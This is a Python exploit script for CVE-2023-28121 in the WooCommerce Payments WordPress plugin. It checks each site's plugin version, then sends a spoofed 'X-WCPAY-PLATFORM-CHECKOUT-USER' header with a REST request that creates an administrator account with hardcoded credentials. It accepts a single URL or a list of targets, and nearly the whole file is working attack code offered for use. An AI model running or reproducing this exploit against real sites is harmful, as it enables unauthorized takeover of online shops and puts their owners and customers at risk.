import requests
import re
from colorama import Fore, Style
import validators
import sys
from urllib3 import disable_warnings
import os
import argparse

# Check for ssl connection problem

disable_warnings()

# Clear terminal before start

os.system('cls || clear')


# Credentails

username = "Penetration-List"
password = "Support"
email = "exploit@world.com"


def check(single=None, multiple=None):

    contained_url = []

    if single:

        if not validators.url(single):
            print("You must specify a valid URL.")
            print("Exiting...")
            sys.exit()

        contained_url.append(single)

    elif multiple:

        if not os.path.exists(multiple):
            print("Specified path to URL list does not exist!")
            print("Exiting...")
            sys.exit()

        with open(multiple, 'r') as f:
            contained_url = [line.strip() for line in f]
    else:

        print("Please provide a single URL or URL list (-U or -L).")
        sys.exit()

    return contained_url


def check_version(targets,_timeout):

    for target in targets:

        print(Style.RESET_ALL + "Site version:\t", end=' ')
        try:
            r = requests.get(f"{target}/wp-content/plugins/woocommerce-payments/readme.txt", verify=False,timeout=_timeout)
            version = re.search(r"Stable tag: (.*)", r.text).groups()[0]
        except:
            print(Fore.RED + f'Failed to access {target}. Checking for potentially vulnerable version.')
            continue

        if int(version.replace('.', '')) < 562:
            print(Fore.GREEN + f'{version} - vulnerable!')
        else:
            print(Fore.RED + f'{version} - not vulnerable!')


def exploit_admin(targets, username, email, password,_timeout):
    headers = {
        'User-Agent': 'Penetration-List Supportors',
        'X-WCPAY-PLATFORM-CHECKOUT-USER': '1'
    }

    data = {
        'rest_route': '/wp/v2/users',
        'username': username,
        'email': email,
        'password': password,
        'roles': 'administrator'
    }

    for target in targets:
        print(Style.RESET_ALL + "Getting session for", end=' ')
        print(Fore.BLUE + target)
        s = requests.Session()
        try:
            r = s.get(target, headers=headers, verify=False,timeout=_timeout)
            print(Fore.GREEN + f'done\n')
        except:
            print(Fore.RED + f'error accessing {target} For Creating a session')
            continue

        print(Style.RESET_ALL + "Adding a new admin for", end=' ')
        print(Fore.BLUE + target)

        r = s.post(target, data=data, headers=headers, verify=False,timeout=_timeout)

        if r.status_code == 201:

            print(Fore.GREEN + f'done')
            print(Style.RESET_ALL + "All set! You can now log in using the following credentials for", end=' ')
            print(Fore.BLUE + target)
            print(f'Username: {username}')
            print(f'Password: {password}')

        else:
            print(Fore.RED + f"error adding admin for {target}. Can't Create New Admin")

        print() 


if __name__ == '__main__':

    print(Fore.LIGHTWHITE_EX + "\n*****************************************************************************************************************")
    print(Fore.LIGHTCYAN_EX + '''

░█████╗░██████╗░███╗░░░███╗██╗███╗░░██╗██╗░░██╗
██╔══██╗██╔══██╗████╗░████║██║████╗░██║╚██╗██╔╝
███████║██║░░██║██╔████╔██║██║██╔██╗██║░╚███╔╝░
██╔══██║██║░░██║██║╚██╔╝██║██║██║╚████║░██╔██╗░
██║░░██║██████╔╝██║░╚═╝░██║██║██║░╚███║██╔╝╚██╗
╚═╝░░╚═╝╚═════╝░╚═╝░░░░░╚═╝╚═╝╚═╝░░╚══╝╚═╝░░╚═╝'''
          )
    
    print("\n\t\t\t\tWELCOME TO ALBUS SECURITY".format(Fore.YELLOW))
    print("\n\t\t\t\tVulnerability:- unauthorized admin access CVE: CVE-2023-28121")
    print(Fore.LIGHTRED_EX+ '\t\t\t\tAuthor: Aniket Tyagi')
    print(
        Fore.LIGHTWHITE_EX + "*****************************************************************************************************************\n\n")

    
    # Argument_Management

    if len(sys.argv) > 1:
        pass
    else:
        print(Fore.RED+'\n%s Please use -h for help.' % (sys.argv[0]))
        exit(0)
    
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Single URL')
    parser.add_argument('-l', '--list', help='Provide list of URLs')
    parser.add_argument('-v', '--version', help='Provide payloads list (default: Yes)', default='Yes',type=str)
    parser.add_argument('-e', '--exploit', help='Try To Exploit')
    parser.add_argument('-t','--timeout',help='Maximum number of seconds to wait while requesting a web page (default: 10)', default=10, type=int)
    
    args = parser.parse_args()
    multiple_url= args.list 
    single_url = args.url
    version = args.version
    exploit = args.exploit
    Argtimeout = args.timeout

    urls = check(single=single_url, multiple=multiple_url)

    if exploit == 'Yes':
        exploit_admin(urls, username, password, email, Argtimeout)
    
    elif version == 'Yes':
        check_version(urls, Argtimeout)
    
    else:
        print("Terminating")
        exit()

    